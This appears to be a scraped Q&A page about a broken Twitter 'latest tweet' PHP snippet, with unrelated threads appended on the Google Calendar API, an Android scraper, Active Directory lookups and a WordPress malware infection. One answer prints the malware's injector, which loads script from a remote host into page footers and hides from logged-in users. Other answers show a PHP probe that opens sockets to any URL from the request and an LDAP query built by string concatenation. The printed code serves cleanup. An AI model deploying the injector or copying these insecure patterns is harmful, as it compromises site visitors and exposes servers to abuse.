Twitter API - Call 'Latest Tweet' - javascript

Up until today I was using the following code to display a client's 'Latest Tweet' on their website:
<?php
// Your twitter username.
$username = "CLIENTTWITTER";
// Prefix - some text you want displayed before your latest tweet.
// (HTML is OK, but be sure to escape quotes with backslashes: for example href=\"link.html\")
$prefix = "";
// Suffix - some text you want display after your latest tweet. (Same rules as the prefix.)
$suffix = "";
$feed = "http://search.twitter.com/search.atom?q=from:" . $username . "&rpp=1";
function parse_feed($feed) {
$stepOne = explode("<content type=\"html\">", $feed);
$stepTwo = explode("</content>", $stepOne[1]);
$tweet = $stepTwo[0];
$tweet = str_replace("<", "<", $tweet);
$tweet = str_replace(">", ">", $tweet);
return $tweet;
}
$twitterFeed = file_get_contents($feed);
echo stripslashes($prefix) . parse_feed($twitterFeed) . stripslashes($suffix);
?>
Today however, it has stopped working. I'm assuming, maybe not correctly, that this is due to the changes with Twitter's API and the fact that they've pulled the plug on v1.0.
Does anyone know of a good replacement to the above code that will work with the current API? Don't want to have to add any additional code if possible. Tried a few but with no success. The Twitter Dev pages confuse me so much.
Thanks in advance for any help.

Use Andrew Biggart php API which is available at https://github.com/andrewbiggart/latest-tweets-php-o-auth/ and makes use of OAuth to authenticate.
The reason why they broke v1.0 is mistery however and even why you need OAuth for a publicly available wall feed.

Related

Google API Calendar problems PHP

I'm new to both the google api and stackoverflow, so please bear with me.
So, I have set a this whole setup to get the events out of a google calendar, authorization, keys and all. But, no matter what, I can't get any events back. I hav tried all my different calendars, but none of them give anything different. I also found this handy little tool tied to my service account which shows me when I actually reaches the server, which it always does, and also which of them causes an error. So, it seems like eeeeverything works just fine, but still no events arrive. Is there something obvious I am missing here?
I have tried to make new calendars, new events, new accounts and just redoing everything altogether. I have had help by more experienced people too, but to no avail.
THINGS DONE:
Creating a google service account
Creating a project in said account
Creating credentials for said project
Downloading JSON:s with keys and ID:s from account and project
Linking those properly in code
Creating new events of different kinds in my primary calendar
Bugfixing
Making a request for the events
Bugfixing until no 401 or 404 appears in the log at google
Still nothing
Tries to test it at some tutorialpage at google
Works perfectly
???
This below is the code for everything outside of the google library(Also properly installed)
DIR_ROOT is our homemade DIR which takes us to the right folders
<?php
require_once DIR_ROOT . '/vendor/autoload.php';
define('SCOPES', implode(' ', array(
Google_Service_Calendar::CALENDAR)
));
putenv('GOOGLE_APPLICATION_CREDENTIALS=/var/www/html/Tv-Projektet-222309a0ac14.json');
$client = new Google_Client();
$client->useApplicationDefaultCredentials();
$client->setScopes(SCOPES);
$service = new Google_Service_Calendar($client);
// Print the next 10 events on the user's calendar.
$calendarId = 'primary';
$optParams = array(
'maxResults' => 10,
'orderBy' => 'startTime',
'singleEvents' => true,
'timeMin' => date('c'),
);
$results = $service->events->listEvents($calendarId, $optParams);
if (count($results->getItems()) == 0) {
print "No Hermes set for this day. Please update the calendar.\n";
} else {
print "Upcoming events:\n";
foreach ($results->getIgtems() as $event) {
$start = $event->start->dateTime;
if (empty($start)) {
$start = $event->start->date;
}
printf("%s (%s)\n", $event->getSummary(), $start);
}
}
?>
So, with one more weeks worth of testing, I found out that a organizations account doesn't work here. I don't know why, but when I used my personal gmail, it worked just fine.

10wp.org/jquery.js how to remove the malware

One of my company's client's website is infected with a malware. In the source there is a <script src="http://www.10wp.org/jquery.js"></script> that is printed randomly.
I following this article and searching the code. But so far I could find where the malicious script is inserted.
Did any of you have the same issue? Where did you find the malicious script?
You need to nuke the system from orbit. There is no way for us to know where that code is being injected into your server output, and there is no way for you to ever know that the system isn't still compromised.
You need to stand up a new server, patch it so that it is not reinfected, and load your application code from backup. That is the only way you can be sure you've resolved the problem.
the mallware inserts a piece of code in a random place of your site. After many hours of testing and searching i found this one.
if(!function_exists('wp_func_jquery')) {
if (!current_user_can( 'read' ) && !isset(${_COOKIE}['wp_min'])) {
function wp_func_jquery() {
$host = 'http://';
$jquery = $host.'lib'.'wp.org/jquery-ui.js';
$headers = #get_headers($jquery, 1);
if ($headers[0] == 'HTTP/1.1 200 OK'){
echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
}
}
add_action('wp_footer', 'wp_func_jquery');
}
function wp_func_min(){
setcookie('wp_min', '1', time() + (86400 * 360), '/');
}
add_action('wp_login', 'wp_func_min');
}
look for wp_func_jquery or lib'.'wp.org
the inserted jquery should be empty when you open it in browser, it deploys its payload under other circumstances.
Hope it helps

Changing if a div's class if unable to ping a url. (Test if a site is down)

I have been researching this for a while. For the site static.etreeblog.com I would like to change a duv's class if a website is offline.
Ways I have researched:
-Using the onerror tag with an image to run a function.
-Problem: One of the sites i want to test uses an external image host, meaning even if the site was offline the image could be.
Example of what I want to do:
function checksite( site, url ){
if url == online {
document.getElementByClass('site').setClass('online')
}
}
checksite('site1', 'www.example.com')
checksite('site2, 'www.example2.com')
Thankyou in advance.
Extra information:
-The divs will be set to offline by default.
-I am using tumblr to host the status tester (If that helps).
Use PHP, Its a solid way to do this.
Host this script on your server (file name say test.php)
<?php
$url = $_REQUEST["url"];
$port = $_REQUESR["port"]; // Or make it default
$fp = fsockopen($url, $port, $errno, $errstr, 0.4); //(line 47)
if (!$fp) {
echo "OFFLINE";
}
else{
echo "ONLINE";
}
?>
Now loop AJAX to open this file and check whether it is echoing ONLINE or OFFLINE.
You will need help on the server side. You could do an AJAX call to your server and it will call the url and return with the site status. If it is that server your monitoring then the AJAX error code will tell you the status.

How to completely read a site that contains javascript from an android service?

I'm trying to read a node from a website that contains java script.
In VB .NET I just use the following code:
Dim listSpan As IHTMLElementCollection = bodyel.getElementsByTagName("span")
For Each spanItem As IHTMLElement In listSpan
If spanItem.className & "" = "span_name" Then
If Not spanItem.innerText Is Nothing Then
str_result = spanItem.innerText.ToString
Console.WriteLine("Found it: " & str_result)
Else
str_result = "NO"
Console.WriteLine("Not Found")
Console.Beep(500, 500)
End If
End If
Next
But I just can't find a way to convert this code to work in Android service. (Java).
I tried Jsoup but Jsoup is only reading the "view source code" elements and not the javascript results as html.
try {
Document doc = Jsoup.connect(str_link).get();
Elements links = doc.select("span_name");
for(Element link : links) {
String result = link.text();
Log.d("TMA Service","result: " + result);
list.add(title);
}
I mean. This code in VB can find everything. (just like if I right click in an element using google chrome and select "Inspect Element". This shows everything and I'd like to know how to get this data with Android.
CAN SOME ONE GIVE ME AN EXAMPLE?
Thanks.
Unfortunately you can't handle Javascript and dynamic content with Jsoup. Please see my answer here for more information and some examples of Java libraries, that may help you here.
Edit:
HtmlUnit - Getting started (section Getting started)
HtmlUnit: A Simple Example: Check Yahoo Email
How to use HtmlUnit in Java?
HtmlUnit: A Quick Introduction
HtmlUnit – A quick introduction
Getting started with HtmlUnit

How to use Javascript to check active directory to see if a user is in a memberof a particular group?

I have at my disposal Javascript and Classic ASP. Using these two how can I check to see if a user is a member of a particular active directory group? I know VBSCRIPT has memberof function but I can only use javascript. Any help is appreciated
You'll need to ensure that your web server is set to use Windows Authentication. Then you can use Request.ServerVariables("LOGON_USER") to get the current user's domain\username.
You'll then query Active Directory using ADSI to get group membership.
Here's a link to msdn's ADSI pages. http://msdn.microsoft.com/en-us/library/aa772170%28v=vs.85%29.aspx
This page has some sample scripts (in vbscript)
As far as I know there is no possibility to access activeDirectory by using Javascript. Javascript runs within the browser - and may not access anything out of this sandbox.
In case I misunderstood your question und you ment server-side checking - use ASP functions to check for.
You might also try using Javascript to instantialte a WScript.Network object
var WshNetwork = new ActiveXObject("WScript.Network");
From there, you can get
var netWorkUserName = WshNetwork.UserName;
var netWorkDomain = WshNetwork.UserDomain;
A word of warning: I'm pretty sure this is IE only and requires security changes in IE.
You'll need AJAX and a connection to the AD using ADODB.Connection with the "ADsDSOObject" provider.
EDIT: I saw your comment above. Here's a start:
ldapCommand.CommandText = "select sn from '" & _
"LDAP://example.com/DC=example,DC=com" & _
"' WHERE samAccountName=" & "'" & username & "'"
Set ldapRecordSet = ldapCommand.Execute
ldapCommand is an ADODB.Command, and if Execute throws an error, then the user is not in the domain.

Categories

Resources